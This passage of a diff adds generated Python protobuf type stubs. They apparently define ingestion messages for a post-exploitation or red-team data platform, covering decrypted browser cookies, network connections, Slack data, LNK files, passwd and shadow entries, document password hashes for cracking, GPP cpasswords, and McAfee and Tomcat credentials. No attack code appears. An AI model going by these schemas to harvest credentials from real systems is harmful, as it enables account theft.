+ SOURCE_PORT_FIELD_NUMBER: builtins.int
+ user_data_directory: builtins.str
+ """Path of the user data folder, if known."""
+ domain: builtins.str
+ """Domain/host_key for the cookie"""
+ path: builtins.str
+ """Path on the domain for the cookie."""
+ name: builtins.str
+ """Name of the cookie value."""
+ value: builtins.str
+ """Plaintext decrypted cookie value (if decrypted)."""
+ value_enc: builtins.str
+ """Base64 encoding of encrypted value bytes."""
+ @property
+ def expires(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Timestamp of when the cookie expires."""
+ @property
+ def creation(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Timestamp of when the cookie was created."""
+ @property
+ def last_access(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Timestamp of when the cookie was last accessed."""
+ @property
+ def last_update(self) -> google.protobuf.timestamp_pb2.Timestamp:
+ """Timestamp of when the cookie was last updated."""
+ secure: builtins.bool
+ """True/1 if the cookie can only be accessed by the server."""
+ http_only: builtins.bool
+ """True/1 if the cookie can only be accessed by the server."""
+ session: builtins.bool
+ """True if the cookie is deleted when the user closes their browser."""
+ samesite: builtins.str
+ """STRICT/LAX/NONE, protection against CSRF attacks."""
+ source_port: builtins.int
+ """The port number of the source origin."""
+ def __init__(
+ self,
+ *,
+ user_data_directory: builtins.str = ...,
+ domain: builtins.str = ...,
+ path: builtins.str = ...,
+ name: builtins.str = ...,
+ value: builtins.str = ...,
+ value_enc: builtins.str = ...,
+ expires: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ creation: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ last_access: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ last_update: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ secure: builtins.bool = ...,
+ http_only: builtins.bool = ...,
+ session: builtins.bool = ...,
+ samesite: builtins.str = ...,
+ source_port: builtins.int = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["creation", b"creation", "expires", b"expires", "last_access", b"last_access", "last_update", b"last_update"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["creation", b"creation", "domain", b"domain", "expires", b"expires", "http_only", b"http_only", "last_access", b"last_access", "last_update", b"last_update", "name", b"name", "path", b"path", "samesite", b"samesite", "secure", b"secure", "session", b"session", "source_port", b"source_port", "user_data_directory", b"user_data_directory", "value", b"value", "value_enc", b"value_enc"]) -> None: ...
+
+global___CookieIngestion = CookieIngestion
+
+@typing_extensions.final
+class CookieIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___CookieIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___CookieIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___CookieIngestionMessage = CookieIngestionMessage
+
+@typing_extensions.final
+class NetworkConnectionIngestion(google.protobuf.message.Message):
+ """Connections between the host the agent is running with itself or another
+ host. These could also be listening ports (i.e., netstat output)
+ Addresses are expected to conform to the public standard for the address
+ type but there is no verification of this as well.
+ As an example, ethernet addresses are expected to use a hyphen as a separator
+ instead of a colon as per IEEE 802.3 but this is not verified.
+
+ The protocol list and matching source and destination lists represent the
+ protocol stack used for a connection. The lists only need to represent a
+ portion of the protocol stack and do not need to represent the entirety of
+ it. The lists allow the ODR to be reused for any connection type an operator
+ may be interested in without having to make a new ODR for each new connection
+ type.
+
+ local_address is treated as source, remote_address is treated as destination
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ LOCAL_ADDRESS_FIELD_NUMBER: builtins.int
+ REMOTE_ADDRESS_FIELD_NUMBER: builtins.int
+ PROTOCOL_FIELD_NUMBER: builtins.int
+ STATE_FIELD_NUMBER: builtins.int
+ PROCESS_ID_FIELD_NUMBER: builtins.int
+ PROCESS_NAME_FIELD_NUMBER: builtins.int
+ SERVICE_FIELD_NUMBER: builtins.int
+ local_address: builtins.str
+ """Local/source address for the connection"""
+ remote_address: builtins.str
+ """Remote/destination address for the connection"""
+ protocol: builtins.str
+ """Protocol specification ("tcp,ipv4", "udp,ipv4", "tcp,ipv6", etc.)"""
+ state: builtins.str
+ """Optional - case insensitive state of the connection (e.g., listen, established, etc.)"""
+ process_id: builtins.int
+ """Optional - process ID handling the connection"""
+ process_name: builtins.str
+ """Optional - process name/command line handling the connection"""
+ service: builtins.str
+ """Optional - service name handling the connection"""
+ def __init__(
+ self,
+ *,
+ local_address: builtins.str = ...,
+ remote_address: builtins.str = ...,
+ protocol: builtins.str = ...,
+ state: builtins.str = ...,
+ process_id: builtins.int = ...,
+ process_name: builtins.str = ...,
+ service: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["local_address", b"local_address", "process_id", b"process_id", "process_name", b"process_name", "protocol", b"protocol", "remote_address", b"remote_address", "service", b"service", "state", b"state"]) -> None: ...
+
+global___NetworkConnectionIngestion = NetworkConnectionIngestion
+
+@typing_extensions.final
+class NetworkConnectionIngestionMessage(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ METADATA_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ @property
+ def metadata(self) -> global___Metadata: ...
+ @property
+ def data(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___NetworkConnectionIngestion]: ...
+ def __init__(
+ self,
+ *,
+ metadata: global___Metadata | None = ...,
+ data: collections.abc.Iterable[global___NetworkConnectionIngestion] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["metadata", b"metadata"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "metadata", b"metadata"]) -> None: ...
+
+global___NetworkConnectionIngestionMessage = NetworkConnectionIngestionMessage
+
+@typing_extensions.final
+class SlackWorkspaces(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ file_data parsed file format messages
+
+ //////////////////////////////////////////////////
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class SlackWorkspace(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USERNAME_FIELD_NUMBER: builtins.int
+ WORKSPACE_ID_FIELD_NUMBER: builtins.int
+ WORKSPACE_DOMAIN_FIELD_NUMBER: builtins.int
+ WORKSPACE_NAME_FIELD_NUMBER: builtins.int
+ WORKSPACE_ICON_URL_FIELD_NUMBER: builtins.int
+ username: builtins.str
+ workspace_id: builtins.str
+ workspace_domain: builtins.str
+ workspace_name: builtins.str
+ workspace_icon_url: builtins.str
+ def __init__(
+ self,
+ *,
+ username: builtins.str = ...,
+ workspace_id: builtins.str = ...,
+ workspace_domain: builtins.str = ...,
+ workspace_name: builtins.str = ...,
+ workspace_icon_url: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["username", b"username", "workspace_domain", b"workspace_domain", "workspace_icon_url", b"workspace_icon_url", "workspace_id", b"workspace_id", "workspace_name", b"workspace_name"]) -> None: ...
+
+ WORKSPACES_FIELD_NUMBER: builtins.int
+ @property
+ def workspaces(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___SlackWorkspaces.SlackWorkspace]: ...
+ def __init__(
+ self,
+ *,
+ workspaces: collections.abc.Iterable[global___SlackWorkspaces.SlackWorkspace] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["workspaces", b"workspaces"]) -> None: ...
+
+global___SlackWorkspaces = SlackWorkspaces
+
+@typing_extensions.final
+class SlackDownloads(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class SlackDownload(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USERNAME_FIELD_NUMBER: builtins.int
+ WORKSPACE_ID_FIELD_NUMBER: builtins.int
+ DOWNLOAD_ID_FIELD_NUMBER: builtins.int
+ TEAM_ID_FIELD_NUMBER: builtins.int
+ USER_ID_FIELD_NUMBER: builtins.int
+ URL_FIELD_NUMBER: builtins.int
+ DOWNLOAD_PATH_FIELD_NUMBER: builtins.int
+ DOWNLOAD_STATE_FIELD_NUMBER: builtins.int
+ START_TIME_FIELD_NUMBER: builtins.int
+ END_TIME_FIELD_NUMBER: builtins.int
+ username: builtins.str
+ workspace_id: builtins.str
+ download_id: builtins.str
+ team_id: builtins.str
+ user_id: builtins.str
+ url: builtins.str
+ download_path: builtins.str
+ download_state: builtins.str
+ @property
+ def start_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def end_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ def __init__(
+ self,
+ *,
+ username: builtins.str = ...,
+ workspace_id: builtins.str = ...,
+ download_id: builtins.str = ...,
+ team_id: builtins.str = ...,
+ user_id: builtins.str = ...,
+ url: builtins.str = ...,
+ download_path: builtins.str = ...,
+ download_state: builtins.str = ...,
+ start_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ end_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["end_time", b"end_time", "start_time", b"start_time"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["download_id", b"download_id", "download_path", b"download_path", "download_state", b"download_state", "end_time", b"end_time", "start_time", b"start_time", "team_id", b"team_id", "url", b"url", "user_id", b"user_id", "username", b"username", "workspace_id", b"workspace_id"]) -> None: ...
+
+ DOWNLOADS_FIELD_NUMBER: builtins.int
+ @property
+ def downloads(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___SlackDownloads.SlackDownload]: ...
+ def __init__(
+ self,
+ *,
+ downloads: collections.abc.Iterable[global___SlackDownloads.SlackDownload] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["downloads", b"downloads"]) -> None: ...
+
+global___SlackDownloads = SlackDownloads
+
+@typing_extensions.final
+class Lnk(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TARGET_FIELD_NUMBER: builtins.int
+ WORKING_DIRECTORY_FIELD_NUMBER: builtins.int
+ COMMAND_LINE_ARGUMENTS_FIELD_NUMBER: builtins.int
+ MACHINE_IDENTIFIER_FIELD_NUMBER: builtins.int
+ COMMENT_FIELD_NUMBER: builtins.int
+ TARGET_FILE_SIZE_FIELD_NUMBER: builtins.int
+ LOCATION_FIELD_NUMBER: builtins.int
+ RUN_AS_ADMIN_FIELD_NUMBER: builtins.int
+ CREATION_TIME_FIELD_NUMBER: builtins.int
+ ACCESSED_TIME_FIELD_NUMBER: builtins.int
+ MODIFIED_TIME_FIELD_NUMBER: builtins.int
+ target: builtins.str
+ working_directory: builtins.str
+ command_line_arguments: builtins.str
+ machine_identifier: builtins.str
+ comment: builtins.str
+ target_file_size: builtins.int
+ location: builtins.str
+ """"local" or "remote" """
+ run_as_admin: builtins.bool
+ @property
+ def creation_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def accessed_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def modified_time(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ def __init__(
+ self,
+ *,
+ target: builtins.str = ...,
+ working_directory: builtins.str = ...,
+ command_line_arguments: builtins.str = ...,
+ machine_identifier: builtins.str = ...,
+ comment: builtins.str = ...,
+ target_file_size: builtins.int = ...,
+ location: builtins.str = ...,
+ run_as_admin: builtins.bool = ...,
+ creation_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ accessed_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ modified_time: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["accessed_time", b"accessed_time", "creation_time", b"creation_time", "modified_time", b"modified_time"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["accessed_time", b"accessed_time", "command_line_arguments", b"command_line_arguments", "comment", b"comment", "creation_time", b"creation_time", "location", b"location", "machine_identifier", b"machine_identifier", "modified_time", b"modified_time", "run_as_admin", b"run_as_admin", "target", b"target", "target_file_size", b"target_file_size", "working_directory", b"working_directory"]) -> None: ...
+
+global___Lnk = Lnk
+
+@typing_extensions.final
+class Passwd(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class PasswdEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USERNAME_FIELD_NUMBER: builtins.int
+ USER_ID_FIELD_NUMBER: builtins.int
+ GROUP_ID_FIELD_NUMBER: builtins.int
+ HOME_DIRECTORY_FIELD_NUMBER: builtins.int
+ SHELL_FIELD_NUMBER: builtins.int
+ username: builtins.str
+ user_id: builtins.str
+ group_id: builtins.str
+ home_directory: builtins.str
+ shell: builtins.str
+ def __init__(
+ self,
+ *,
+ username: builtins.str = ...,
+ user_id: builtins.str = ...,
+ group_id: builtins.str = ...,
+ home_directory: builtins.str = ...,
+ shell: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["group_id", b"group_id", "home_directory", b"home_directory", "shell", b"shell", "user_id", b"user_id", "username", b"username"]) -> None: ...
+
+ ENTRIES_FIELD_NUMBER: builtins.int
+ @property
+ def entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Passwd.PasswdEntry]: ...
+ def __init__(
+ self,
+ *,
+ entries: collections.abc.Iterable[global___Passwd.PasswdEntry] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["entries", b"entries"]) -> None: ...
+
+global___Passwd = Passwd
+
+@typing_extensions.final
+class Shadow(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class ShadowEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USERNAME_FIELD_NUMBER: builtins.int
+ PASSWORD_LAST_CHANGED_FIELD_NUMBER: builtins.int
+ PASSWORD_FIELD_NUMBER: builtins.int
+ username: builtins.str
+ @property
+ def password_last_changed(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ password: builtins.str
+ def __init__(
+ self,
+ *,
+ username: builtins.str = ...,
+ password_last_changed: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ password: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["password_last_changed", b"password_last_changed"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["password", b"password", "password_last_changed", b"password_last_changed", "username", b"username"]) -> None: ...
+
+ ENTRIES_FIELD_NUMBER: builtins.int
+ @property
+ def entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Shadow.ShadowEntry]: ...
+ def __init__(
+ self,
+ *,
+ entries: collections.abc.Iterable[global___Shadow.ShadowEntry] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["entries", b"entries"]) -> None: ...
+
+global___Shadow = Shadow
+
+@typing_extensions.final
+class OfficeDocOle(google.protobuf.message.Message):
+ """.doc/.ppt/.xls/etc."""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TITLE_FIELD_NUMBER: builtins.int
+ CREATOR_FIELD_NUMBER: builtins.int
+ CREATED_FIELD_NUMBER: builtins.int
+ MODIFIED_FIELD_NUMBER: builtins.int
+ KEYWORDS_FIELD_NUMBER: builtins.int
+ COMMENTS_FIELD_NUMBER: builtins.int
+ LAST_MODIFIED_BY_FIELD_NUMBER: builtins.int
+ SUBJECT_FIELD_NUMBER: builtins.int
+ CREATING_APPLICATION_FIELD_NUMBER: builtins.int
+ TOTAL_EDIT_TIME_FIELD_NUMBER: builtins.int
+ NUM_PAGES_FIELD_NUMBER: builtins.int
+ NUM_SLIDES_FIELD_NUMBER: builtins.int
+ NUM_CHARS_FIELD_NUMBER: builtins.int
+ IS_ENCRYPTED_FIELD_NUMBER: builtins.int
+ ENCRYPTION_HASH_FIELD_NUMBER: builtins.int
+ title: builtins.str
+ creator: builtins.str
+ @property
+ def created(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def modified(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ keywords: builtins.str
+ comments: builtins.str
+ last_modified_by: builtins.str
+ subject: builtins.str
+ creating_application: builtins.str
+ total_edit_time: builtins.int
+ num_pages: builtins.int
+ num_slides: builtins.int
+ num_chars: builtins.int
+ is_encrypted: builtins.bool
+ encryption_hash: builtins.str
+ """office2john hash representing the document password"""
+ def __init__(
+ self,
+ *,
+ title: builtins.str = ...,
+ creator: builtins.str = ...,
+ created: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ modified: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ keywords: builtins.str = ...,
+ comments: builtins.str = ...,
+ last_modified_by: builtins.str = ...,
+ subject: builtins.str = ...,
+ creating_application: builtins.str = ...,
+ total_edit_time: builtins.int = ...,
+ num_pages: builtins.int = ...,
+ num_slides: builtins.int = ...,
+ num_chars: builtins.int = ...,
+ is_encrypted: builtins.bool = ...,
+ encryption_hash: builtins.str | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "created", b"created", "encryption_hash", b"encryption_hash", "modified", b"modified"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "comments", b"comments", "created", b"created", "creating_application", b"creating_application", "creator", b"creator", "encryption_hash", b"encryption_hash", "is_encrypted", b"is_encrypted", "keywords", b"keywords", "last_modified_by", b"last_modified_by", "modified", b"modified", "num_chars", b"num_chars", "num_pages", b"num_pages", "num_slides", b"num_slides", "subject", b"subject", "title", b"title", "total_edit_time", b"total_edit_time"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_encryption_hash", b"_encryption_hash"]) -> typing_extensions.Literal["encryption_hash"] | None: ...
+
+global___OfficeDocOle = OfficeDocOle
+
+@typing_extensions.final
+class OfficeDocNew(google.protobuf.message.Message):
+ """.docx/.pptx/.xlsx/etc."""
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ TITLE_FIELD_NUMBER: builtins.int
+ CREATOR_FIELD_NUMBER: builtins.int
+ CREATED_FIELD_NUMBER: builtins.int
+ MODIFIED_FIELD_NUMBER: builtins.int
+ DESCRIPTION_FIELD_NUMBER: builtins.int
+ KEYWORDS_FIELD_NUMBER: builtins.int
+ LAST_MODIFIED_BY_FIELD_NUMBER: builtins.int
+ SUBJECT_FIELD_NUMBER: builtins.int
+ REVISION_FIELD_NUMBER: builtins.int
+ IS_ENCRYPTED_FIELD_NUMBER: builtins.int
+ ENCRYPTION_HASH_FIELD_NUMBER: builtins.int
+ title: builtins.str
+ creator: builtins.str
+ @property
+ def created(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def modified(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ description: builtins.str
+ keywords: builtins.str
+ last_modified_by: builtins.str
+ subject: builtins.str
+ revision: builtins.int
+ is_encrypted: builtins.bool
+ encryption_hash: builtins.str
+ """office2john hash representing the document password"""
+ def __init__(
+ self,
+ *,
+ title: builtins.str = ...,
+ creator: builtins.str = ...,
+ created: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ modified: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ description: builtins.str = ...,
+ keywords: builtins.str = ...,
+ last_modified_by: builtins.str = ...,
+ subject: builtins.str = ...,
+ revision: builtins.int = ...,
+ is_encrypted: builtins.bool = ...,
+ encryption_hash: builtins.str | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "created", b"created", "encryption_hash", b"encryption_hash", "modified", b"modified"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "created", b"created", "creator", b"creator", "description", b"description", "encryption_hash", b"encryption_hash", "is_encrypted", b"is_encrypted", "keywords", b"keywords", "last_modified_by", b"last_modified_by", "modified", b"modified", "revision", b"revision", "subject", b"subject", "title", b"title"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_encryption_hash", b"_encryption_hash"]) -> typing_extensions.Literal["encryption_hash"] | None: ...
+
+global___OfficeDocNew = OfficeDocNew
+
+@typing_extensions.final
+class Pdf(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NUM_PAGES_FIELD_NUMBER: builtins.int
+ TITLE_FIELD_NUMBER: builtins.int
+ AUTHOR_FIELD_NUMBER: builtins.int
+ SUBJECT_FIELD_NUMBER: builtins.int
+ CREATOR_FIELD_NUMBER: builtins.int
+ PRODUCER_FIELD_NUMBER: builtins.int
+ CREATED_FIELD_NUMBER: builtins.int
+ MODIFIED_FIELD_NUMBER: builtins.int
+ KEYWORDS_FIELD_NUMBER: builtins.int
+ IS_ENCRYPTED_FIELD_NUMBER: builtins.int
+ ENCRYPTION_HASH_FIELD_NUMBER: builtins.int
+ num_pages: builtins.int
+ title: builtins.str
+ author: builtins.str
+ subject: builtins.str
+ creator: builtins.str
+ producer: builtins.str
+ @property
+ def created(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def modified(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ @property
+ def keywords(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ is_encrypted: builtins.bool
+ encryption_hash: builtins.str
+ """pdf2john hash representing the document password"""
+ def __init__(
+ self,
+ *,
+ num_pages: builtins.int = ...,
+ title: builtins.str = ...,
+ author: builtins.str = ...,
+ subject: builtins.str = ...,
+ creator: builtins.str = ...,
+ producer: builtins.str = ...,
+ created: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ modified: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ keywords: collections.abc.Iterable[builtins.str] | None = ...,
+ is_encrypted: builtins.bool = ...,
+ encryption_hash: builtins.str | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "created", b"created", "encryption_hash", b"encryption_hash", "modified", b"modified"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["_encryption_hash", b"_encryption_hash", "author", b"author", "created", b"created", "creator", b"creator", "encryption_hash", b"encryption_hash", "is_encrypted", b"is_encrypted", "keywords", b"keywords", "modified", b"modified", "num_pages", b"num_pages", "producer", b"producer", "subject", b"subject", "title", b"title"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["_encryption_hash", b"_encryption_hash"]) -> typing_extensions.Literal["encryption_hash"] | None: ...
+
+global___Pdf = Pdf
+
+@typing_extensions.final
+class GroupPolicyPreferences(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class GroupPolicyPreferencesEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USERNAME_FIELD_NUMBER: builtins.int
+ CPASSWORD_FIELD_NUMBER: builtins.int
+ PASSWORD_FIELD_NUMBER: builtins.int
+ NEWNAME_FIELD_NUMBER: builtins.int
+ DESCRIPTION_FIELD_NUMBER: builtins.int
+ CHANGED_FIELD_NUMBER: builtins.int
+ ACTION_FIELD_NUMBER: builtins.int
+ DISABLED_FIELD_NUMBER: builtins.int
+ NEVER_EXPIRES_FIELD_NUMBER: builtins.int
+ username: builtins.str
+ cpassword: builtins.str
+ password: builtins.str
+ newname: builtins.str
+ description: builtins.str
+ @property
+ def changed(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ action: builtins.str
+ disabled: builtins.bool
+ never_expires: builtins.bool
+ def __init__(
+ self,
+ *,
+ username: builtins.str = ...,
+ cpassword: builtins.str = ...,
+ password: builtins.str = ...,
+ newname: builtins.str = ...,
+ description: builtins.str = ...,
+ changed: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ action: builtins.str = ...,
+ disabled: builtins.bool = ...,
+ never_expires: builtins.bool = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["changed", b"changed"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["action", b"action", "changed", b"changed", "cpassword", b"cpassword", "description", b"description", "disabled", b"disabled", "never_expires", b"never_expires", "newname", b"newname", "password", b"password", "username", b"username"]) -> None: ...
+
+ ENTRIES_FIELD_NUMBER: builtins.int
+ @property
+ def entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___GroupPolicyPreferences.GroupPolicyPreferencesEntry]: ...
+ def __init__(
+ self,
+ *,
+ entries: collections.abc.Iterable[global___GroupPolicyPreferences.GroupPolicyPreferencesEntry] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["entries", b"entries"]) -> None: ...
+
+global___GroupPolicyPreferences = GroupPolicyPreferences
+
+@typing_extensions.final
+class McafeeSitelist(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class McafeeSitelistEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ NAME_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ PASSWORD_FIELD_NUMBER: builtins.int
+ PASSWORD_ENCRYPTED_FIELD_NUMBER: builtins.int
+ ENABLED_FIELD_NUMBER: builtins.int
+ LOCAL_FIELD_NUMBER: builtins.int
+ SERVER_FIELD_NUMBER: builtins.int
+ DOMAIN_NAME_FIELD_NUMBER: builtins.int
+ SHARE_NAME_FIELD_NUMBER: builtins.int
+ USEAUTH_FIELD_NUMBER: builtins.int
+ RELATIVEPATH_FIELD_NUMBER: builtins.int
+ USED_LOGGEDON_USER_ACCOUNT_FIELD_NUMBER: builtins.int
+ name: builtins.str
+ type: builtins.str
+ username: builtins.str
+ password: builtins.str
+ password_encrypted: builtins.str
+ enabled: builtins.bool
+ local: builtins.bool
+ server: builtins.str
+ domain_name: builtins.str
+ share_name: builtins.str
+ useauth: builtins.bool
+ relativepath: builtins.str
+ used_loggedon_user_account: builtins.bool
+ def __init__(
+ self,
+ *,
+ name: builtins.str = ...,
+ type: builtins.str = ...,
+ username: builtins.str = ...,
+ password: builtins.str = ...,
+ password_encrypted: builtins.str = ...,
+ enabled: builtins.bool = ...,
+ local: builtins.bool = ...,
+ server: builtins.str = ...,
+ domain_name: builtins.str = ...,
+ share_name: builtins.str = ...,
+ useauth: builtins.bool = ...,
+ relativepath: builtins.str = ...,
+ used_loggedon_user_account: builtins.bool = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["domain_name", b"domain_name", "enabled", b"enabled", "local", b"local", "name", b"name", "password", b"password", "password_encrypted", b"password_encrypted", "relativepath", b"relativepath", "server", b"server", "share_name", b"share_name", "type", b"type", "useauth", b"useauth", "used_loggedon_user_account", b"used_loggedon_user_account", "username", b"username"]) -> None: ...
+
+ ENTRIES_FIELD_NUMBER: builtins.int
+ @property
+ def entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___McafeeSitelist.McafeeSitelistEntry]: ...
+ def __init__(
+ self,
+ *,
+ entries: collections.abc.Iterable[global___McafeeSitelist.McafeeSitelistEntry] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["entries", b"entries"]) -> None: ...
+
+global___McafeeSitelist = McafeeSitelist
+
+@typing_extensions.final
+class Tomcat(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class TomcatEntry(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USERNAME_FIELD_NUMBER: builtins.int
+ PASSWORD_FIELD_NUMBER: builtins.int
+ ROLES_FIELD_NUMBER: builtins.int
+ username: builtins.str
+ password: builtins.str
+ @property
+ def roles(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ def __init__(
+ self,
+ *,
+ username: builtins.str = ...,
+ password: builtins.str = ...,
+ roles: collections.abc.Iterable[builtins.str] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["password", b"password", "roles", b"roles", "username", b"username"]) -> None: ...
+
+ ROLES_FIELD_NUMBER: builtins.int
+ ENTRIES_FIELD_NUMBER: builtins.int
+ @property
+ def roles(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ @property
+ def entries(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___Tomcat.TomcatEntry]: ...
+ def __init__(
+ self,
+ *,
+ roles: collections.abc.Iterable[builtins.str] | None = ...,
+ entries: collections.abc.Iterable[global___Tomcat.TomcatEntry] | None = ...,
+ ) -> None: ...
